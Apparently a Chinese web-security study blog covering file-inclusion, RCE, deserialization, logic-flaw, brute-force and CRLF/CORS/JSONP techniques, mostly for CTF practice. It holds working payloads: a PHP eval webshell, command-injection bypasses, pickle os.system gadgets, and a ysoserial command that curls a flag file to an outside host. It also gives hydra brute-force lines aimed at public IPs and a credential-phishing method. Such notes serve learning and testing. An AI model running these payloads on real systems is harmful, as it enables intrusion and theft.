将 php://filter/write=string.rot13/resource=2.php 进行 url 编码,rot13 表示的是 写入的文件是采用凯撒加密偏移量为 13,将 content= 通过 post 方式上传,在 base64 被过滤的情况下可以使用此方法绕过。

1
2
3
4
5
6
7
8
9
# convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
# 如果include中的内容默认添加前缀可以用../的方式读取一些文件,但却不能用伪协议了,如果是有增加后缀的方法,则无法读取文件。

# 文件操作

# 敏感文件下载

(1)文件下载的寻找及利用:

文件下载:流程 - 功能点抓包 - 寻代码文件 - 寻变量控制 - 构造测试。

寻找:/1.pdf 不存在此漏洞,/?file=1.pdf 可能存在。

利用:后台首页日志文件、数据库配置文件、中间件配置文件、各种接口文件、密钥信息等文件、扫描工具爬行;或者下载好的代码去分析路径、找到对方的 cms 直接查数据库配置文件。

(2)代码中的文件下载漏洞:

java:如何发现了下载漏洞但是 get 方法无法获取到文件,可以尝试切换到 post 或者其他提交方式进行下载,javaWEB 中 WEB 的配置文件 WEB-INF/web.xml,里边有很多重要的信息,配置文件中的 com.wm.ctf.FlagController 表示实际中的 WEB-INF/classes/com/wm/ctf/ FlagController.class。

php:如果需要登陆可以点击登陆分析数据包。分析 url 地址判断是可能存在哪种漏洞,判断对方是根据哪个关键字识别是否登陆的,如果有 mvc 的框架,可尝试下载 module 中的敏感文件如…xx…/etc/nginx/nginx.conf。

# 恶意文件删除

文件删除:流程 - 特定函数搜索 - 寻触发调用 - 构造 Payload 测试

Payload: /admin/admin_article.php?act=del_img&img=…/…/data/install.lock

在网站某些功能点可以删除文件时,抓包测试,如后台模版删除文件点进行删除测试,删除 install/install_lock.txt 删除后则重新安装网站。

# 重要文件读取

文件读取:流程 - 特定函数搜索 - 寻触发调用 - 构造 Payload 测试

Payload:/include/thumb.php?dir=http…\config\config_db.php

如果能够显示源代码则是文件读取漏洞

# 黑盒探针

(1)URL 参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名

(2)功能点自行修改后分析:
文件下载,删除,读取等

# RCE 漏洞

(1)RCE 漏洞分类

代码执行:引用脚本代码解析执行,如 eval (‘phpinfo ();’);

命令执行:脚本调用操作系统命令,如 system (‘ipconfig’);

在源码中要找 RCE 漏洞话需要搜索特定函数,看其是从哪里输入进来的,有哪些过滤是否能绕过;如果没有源码的情况就得去从功能点测试。

(2)漏洞函数

PHP:eval ()、assert ()、preg_replace ()、call_user_func ()、call_user_func_array () 以及 array_map () 等;system、shell_exec、popen、passthru、proc_open 等

Python:eval exec subprocess os.system commands

Java:Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等.

(3)RCE 漏洞绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本绕过方法
system('tac fla*.php');
cp fla*.ph* 2.txt;
echo shell_exec('tac fla*.ph*');

# 通过eval传递参数,在拼接新的变量值可以绕过敏感函数被过滤的限制
eval($_GET[1]);&1=system('tac flag.php');

# 通过文件包含,传递a参数为执行系统命令的data协议,可以绕过分号限制
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
# 工具推荐 GUI_TOOLS_V.. 是一个工具集成化的工具箱

# 反序列化漏洞

# php 魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# php中有类的反序列化中常见的魔术方法:
__construct()//创建对象时触发,执行unserialize()时如果不new是不会触发这个函数
__destruct() //对象被销毁时触发,执行unserialize()时销毁阶段会触发这个函数
__toString() //对象被当作字符串时被调用
__call() //当调用类中不存在的方法时,就会调用call()
__get() //当调用类中不存在的属性时,就会调用get()
__set() //当设置类中不存在的属性时,就会调用set()
__sleep() //当执行serialize()方法时,就会调用sleep()
__wakeup() //当执行unserialize()时,就会调用wakeup()

# 序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup,即CVE-2016-7124
__isset() //当对不可访问属性调用isset()或empty()时,就会调用__isset()
__unset() //当对不可访问属性调用unset()时触发,销毁对象的某个属性时执行此函数

# 实例化之后访问private是不可访问的,但是访问public是可以访问的
__invoke() //将对象当做函数来使用时执行此方法,通常不推荐这样做

# 查看php魔术方法的原生类有哪些:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array (
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class. '::'. $method. "\n";
} } }
?>

# php 反序列化

(1) php 反序列化漏洞原理:

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过 程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过 程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中 的一些魔术方法。

php 中有一些魔术方法,在实例化时后者其他操作时不经意间出发了类中的 方法,可以利用这个特点,将自己伪造的数据带入其中,让自己伪造的数据反 序列化后可以读取存储在类中魔术方法中的数据如果参数是一个类,需要重写 这个类,并且将所有的变量按照自己破解的规范进行书写,最后进行实例化与 url 加密序列化后的数据。

(2)一个生成序列化值的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 实例化之后,会调用__construct方法,并且因为是实例是可以调用ctfShowUser中的私有变量的,
# 将此定义号的 class 变量设置为 new backDoor 意味着再次调用 backDoor 中的私有变量 code,并且执行相应的命令。
# 最后将该操作流程返回的数据进行序列化和 url 编码后代入到原来的题目中即可执行此命令。
<?php
class ctfShowUser
{private $class;
public function __construct(){
$this-> class = new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b= new ctfShowUser();
echo serialize($b);
?>

(3)序列化数据显示:

private 属性序列化的时候格式是 %00 类名 %00 成员名

protect 属性序列化的时候格式是 %00*%00 成员名

序列化时 % 00 会被当成一个长度为一的字符串处理但是不会显示出来,一般是

序列化时候需要通过编码才可以进行利用。如 test 类下的 private age:“29” 经过序列化之后的数据为 s:9:“testage”

# php 原生类

(4) 利用 php 原生类 SoapClient 类进行读文件:

PHP 的内置类 SoapClient 是一个专门用来访问 web 服务的类,可以提供一 个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call 触发很简单,就是当对象访问不存在的方法的时候就会触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
# SoapClient
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
# 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
# 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

# 直接利用SoapClient来进行SSRF
<?php
$a = new SoapClient(null, array ('location'=>'http://ip:10000/aaa', 'uri'=>'http://ip:10000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

(5)本地 Demo-xss:

1
2
3
4
5
6
7
8
9
10
11
12
# 输出对象可调用__toString,无代码通过原生类Exception
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

# Exception使用查询编写利用,通过访问触发输出产生XSS漏洞
<?php
$a= new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

# java 反序列化

(1)java 反序列化漏洞原理:

序列化是把 Java 对象转换为字节序列的过程,反序列化是把字节序列恢复为 Java 对象的过程。对象的序列化主要有两种用途:一是把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中即持久化对象,另外就是在网络上传送对象的字节序列即网络传输对象。

(2)java 反序列化识别:

原始数据 -> 序列化 writeobject->base64 编码 -> 传输 ->base64 解码 -> 反序列化 readobject-> 最终数据。

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

(3)java 反序列化利用工具推荐:https://github.com/frohoff/ysoserial

ysoserial 中是针对组件来产生反序列化代码的,URLDNS 是不需要其他组件 支撑的,但是功能单一,还有依赖于组件产生的漏洞,这种依赖包构造出来的 反序列化代码会有更多的功能。大部分是需要组件支撑的,版本目前已经跟不 上现在的组件版本了。

1
2
3
4
5
6
7
8
9
10
11
12
# 没组件生成DNS利用的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://9ar7xl.dnslog.cn" > urldns.ser

# 借助rome:1.0组件生成payload:
java -jar ysoserial-master-30099844c6-1.jar ROME "curl [http://x.x.x.x:4444/](http://x.x.x.x:4444/) -d@/flag" > flag.bin

# 根据是否选择组件来生成payload:
# 生成payload的时候载入当前包(功能比较多):
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

# 直接利用ysoserial给的参数载入(功能比较少):
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "calc.exe" > y.bin

(4)java 反序列化解密工具推荐 SerializationDumper

下载地址:https://github.com/NickstaDB/SerializationDumper

SerializationDumper 解密的是 ace 开头的数据即 16 进制数据,分析 java 的序列化之后的内容。如 java -jar SerializationDumper-v1.13.jar -r urldns.ser > dns.txt。

java 安全在实战中很难遇到,因为其机制是非常复杂的

# py 反序列化

(1)常见 py 反序列化函数:

1
2
3
4
5
6
7
8
9
10
11
# 将对象序列化后保存到文件
pickle.dump(obj, file)

# 读取文件, 将文件中的序列化内容反序列化为对象
pickle.load(file)

# 将对象序列化成字符串格式的字节流
pickle.dumps(obj)

# 将字符串格式的字节流反序列化为对象
pickle.loads(bytes_obj)

反序列化调用__reduce__() reduce_ex() setstate () , 序列化调用__getstate__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 魔术方法 __reduce__() 的使用举例:
import pickle
import os
class A(object):
def __reduce__(self):
print ('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print ('==========')
print (p_a)

# 魔术方法 __setstate__() 的使用举例:
class SerializePerson():
def __init__(self, name):
self.name = name

# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) # 序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器

# 魔术方法 __getstate__() 的使用举例:
class A(object):
def __getstate__(self):
print(' 序列化调用 ')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

mac上弹计算器的命令open /System/Applications/Calculator.app ,win则是calc
反弹shell的命令见 https://forum.ywhack.com/shell.php

(2)python 由反序列化漏洞反弹 shell:

服务器有可以接收序列化对象的内容并且会执行这串序列化内容,一般这 个序列化数据会经过加密,有可能是采用的普通的 base64 加密,寻找到可以传 输序列化数据的地方并且了解此内容是如何执行相关代码的。伪造序列化后的 数据载入反弹 shell 的代码,再次进行加密,放入到能够使对方执行这串序列化 数据的位置。

python 代码审计工具 https://github.com/PyCQA/bandit

# 业务逻辑漏洞

# 逻辑越权 访问控制

(1)逻辑越权:

水平越权:用普通用户 A 去登陆普通用户 B,对方在后台数据库做的验证不严谨,可通过篡改数据库疑似权限编号;可用修改用户 A 的数据时抓包将修 改的信息改成用户 B,漏洞产生的原因是代码中将用户写成了一个动态的数据。

垂直越权:用普通用户操作管理员的权限,需要去得到管理员添加用户的数据包,管理员退出后其 session 会失效,如果可以得到管理员的数据包,将普通用户的数据包中 session 给换上,尝试是否存在有管理员的权限。

(2)访问控制:

验证是存在的,但是逻辑出现问题导致此验证没有真正被利用;也有可能是验证是可以被一些匿名用户或者白名单用户触发后绕过。若验证方式如 cookie/jwt/token/session 这些身份认证凭据是脆弱验证,逻辑性不强导致被绕过。

实际测试中就是去抓包改改参数,看看有没有可能以改变参数的方式修改当前权限。

# 支付流程及验证失效

(1)支付流程问题

常见支付流程:选择商品和数量、选择支付及配送方式、生成订单编号、订单支付选择、完成支付;熟悉数据篡改:商品编号 ID,购买价格,购买数量,支付方式,订单号,支付状态等;熟悉修改方式:替换支付,重复支付,最小 额支付,负数支付,溢出支付,优惠券支付等。

(2)支付流程问题举例

如产品价格未被固定,可以通过数据包中修改产品价格;如修改产品数量为 - 1,从 而改变产品价格;用低价格的产品中的数据包去买高价格的产品;修改优惠券额度。

关键就是找到数据包中没有被固定好的地方,抓取此数据包并进行修改。或者抓取不通价格、不同产品的物品进行数据包的观察与测试。这些数据应该从数据库中取,而不是以前端用数据包发送可以修改的数据为准。

(2)验证码识别:

验证码是否能够爆破、是否能够重复使用以上一次的验证码来识别本次的识别码;

找回密码如果根据返回状态来判断验证是否正确可以抓取返回包进行绕过;

先通过验证,再最后一步的时候将验证的对象改为另一用户尝试;

如果验证码是从数据包中传输的,可以尝试从数据包中寻找验证码。

验证码爆破插件推荐 https://github.com/smxiazi/NEW_xp_CAPTCHA , 可以解决爆破用户的时候验证码一直在改变的问题,burp 插件验证码识别 xp_CAPTCHA

使用参考地址 http://www.cnblogs.com/punished/p/14746970.html burp 中通过使用扩展加载此插件。免费版的识别成功率不高,需要多爆破几次。

(3)验证码安全修复:

找回机制要进行每一步验证 - 防绕过重定向、找回机制要进行服务端验证 - 防 res 数据修改、找回机制要控制验证码安全 - 防验证码攻击、验证码接口需验证后被调用 - 防接口被乱调用、验证码引用智能化人工判断 - 防验证码被识别、验 证码采用时间段生效失效 - 防验证码被复用。

# 弱口令爆破

(1)弱口令爆破:

没有严格和准确的定义,通常认为容易被别猜测到或被破解工具破解的口令均为弱口令,通常与管理的安全意识和平台的初始化配置等相关,通过系统弱口令,可被黑客直接获得系统控制权限。

在常见的安全测试中,弱口令会产生安全的各个领域,包括 Web 应用,安全设备,平台组件,操作系统等;如何获取弱口令,利用弱口令成为了此类安全问题的关键。

弱口令通过 burp 爆破时需要提前观察密码是否被 hash 加密,如果是则需要进行配置

(2)弱口令相关的链接:

1
2
3
4
5
6
7
8
9
10
11
# 电子邮箱泄漏信息查询地址
https://monitor.firefox.com/scan、https://haveibeenpwned.com/

# 利用人的密码习惯,精准分析密码
https://www.bugku.com/mima/

# 经典密码字典合集
https://github.com/danielmiessler/SecLists

# 多个来源收集的默认登录名/密码
https://github.com/ihebski/DefaultCreds-cheat-sheet

(3)hydra 弱口令爆破:

1
2
3
4
5
6
7
8
9
10
11
# -l 指定用户guest ,-P 指定字典 ,-f 爆破密码成功后停止
# -vV 显示详细过程 - o将爆破成功信息保存到文件中
# 字典推荐:https://github.com/TheKingOfDuck/fuzzDicts
hydra -l guest -P pass.dic ssh://192.168.31.107 -f -t 4 -I -vV -o hydra.ssh
hydra -L user.txt -P sshpass.txt ssh://192.168.31.66 -f -t 4 -I -s 65507 -vV -o hydra.ssh
hydra -L /usr/share/wordlists/rockyou.txt -p pass -s 8080 192.168.31.12 http-post- form "/:username=^USER^&password^PASS^:Invalid username."
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.31.25 -f http-get /inferno/ -t 64 -f -vV -o hydra.ssh
hydra -l administrator -P UserPassCombo-Jay.txt -t 5 -vV 47.99.218.105 rdp -f
hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

(4)zip 文件解密:

1
2
3
4
# 解密文件受字典的限制,也可以寻找一些比较好一点的字典测试
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip
zip2join sshpass.zip > ssh.txt
john ssh.txt –wordlist=/usr/share/wordlists/rockyou.txt

# 其他漏洞

# CRLF 回车换行漏洞

(1)CRLF 注入漏洞:

是因为 Web 应用没有对用户输入做严格验证,导致攻击者可以输入一些恶 意字符。攻击者一旦向请求行或首部中的字段注入恶意的 CRLF,就能注入一 些首部字段或报文主体,并在响应中输出,所以又称为 HTTP 响应拆分漏洞。 可造成的影响很低。

vulhub 复现:https://vulhub.org/#/environments/nginx/insecure-configuration/

Payload: http://your-ip:8080/ Set-Cookie: a=1,可注入 Set-Cookie 头。

(2)CRLF 漏洞利用:

访问特定的 url 地址时,返回数据包中的头部被改变;是一种换行回车漏洞, 可尝试访问某些 url 地址时,改变返回的数据包;与 xss 漏洞配合,让对方去访 问自己构造的 url,实现 xss 盗取 cookie; 用自动化工具 CRLFuzz 来自动检测对 方是否存在此漏洞。

CRLFFuzz:https://github.com/dwisiswant0/crlfuzz

# url 重定向

(1)URL 重定向跳转

网站接受用户输入的链接后会进行跳转到另一个地址,本来是用来加载一 些资源文件的,但是由于过滤不严谨是可以直接跳转到一些页面的。而这个地址可以人为的指定,可以配合钓鱼攻击,可以先另存原始 login 页面,在发至自 己的服务器,进行修改,获取对方提交的用户名和密码。

拉取到对方源码进行伪造后,需要进行一些修改,将对方 html 界面的数据通过 ajax 或者其他方式将 user、pass 的值发送到自己的服务器上,进行钓鱼攻击。

# Web 拒绝服务

现在有许多资源是由服务器生成然后返回给客户端的,而此类 “资源生成” 接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险,导致服务器处理不过来或占用资源去处理。

比如有一个无限大小的 zip 文件,如果对方自动进行解压,就会无限占用对方的资源,导致 CPU 占满,网站崩溃。又比如没有做限制的修改图片的尺寸,占用了服务器的资源。

# 同源策略

同源包括三个条件:同协议、同域名、同端口。

同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制。简单说就是浏览器的一种安全策略。

虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能的实现,所以就有了许多跨域的手段。

# COSP 跨域资源

CORS 全称 Cross-Origin Resource Sharing, 跨域资源共享,是 HTML5 的一 个新特性,已被所有浏览器支持,跨域资源共享 (CORS) 是一种放宽同源策略的 机制,它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。

Access-Control-Allow-Origin: 指定哪些域可以访问域资源。寻找此漏洞是 看设置问题,是否通过这个字段来获取资源。

检测项目:https://github.com/chenjj/CORScanner

COSP 危害:敏感页面源码获取

管理员访问页面跨域调用 URL、受害者访问当前页面被资源共享。漏洞产生的原因是同源策略防护下配置不当导致,漏洞可以导致用户访问的 URL 上的资源丢失。

# jsonp 跨域回调

JSONP 跨域巧妙的利用了 script 标签能跨域的特点,实现了 json 的跨域传输。 手动访问某网站,查看 callback 信息,看有无回调中有敏感信息,如果有的回调信息中有存储,可以自己构造 html 界面,让此 html 界面去访问回调信息并本 地存储。

漏洞产生的原因是同源策略下引用资源回调导致,漏洞可以导致用户访问的 URL 回调接口个人敏感信息丢失。

手工审查元素筛选或 Burp 项目 https://github.com/p1g3/JSONP-Hunter

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝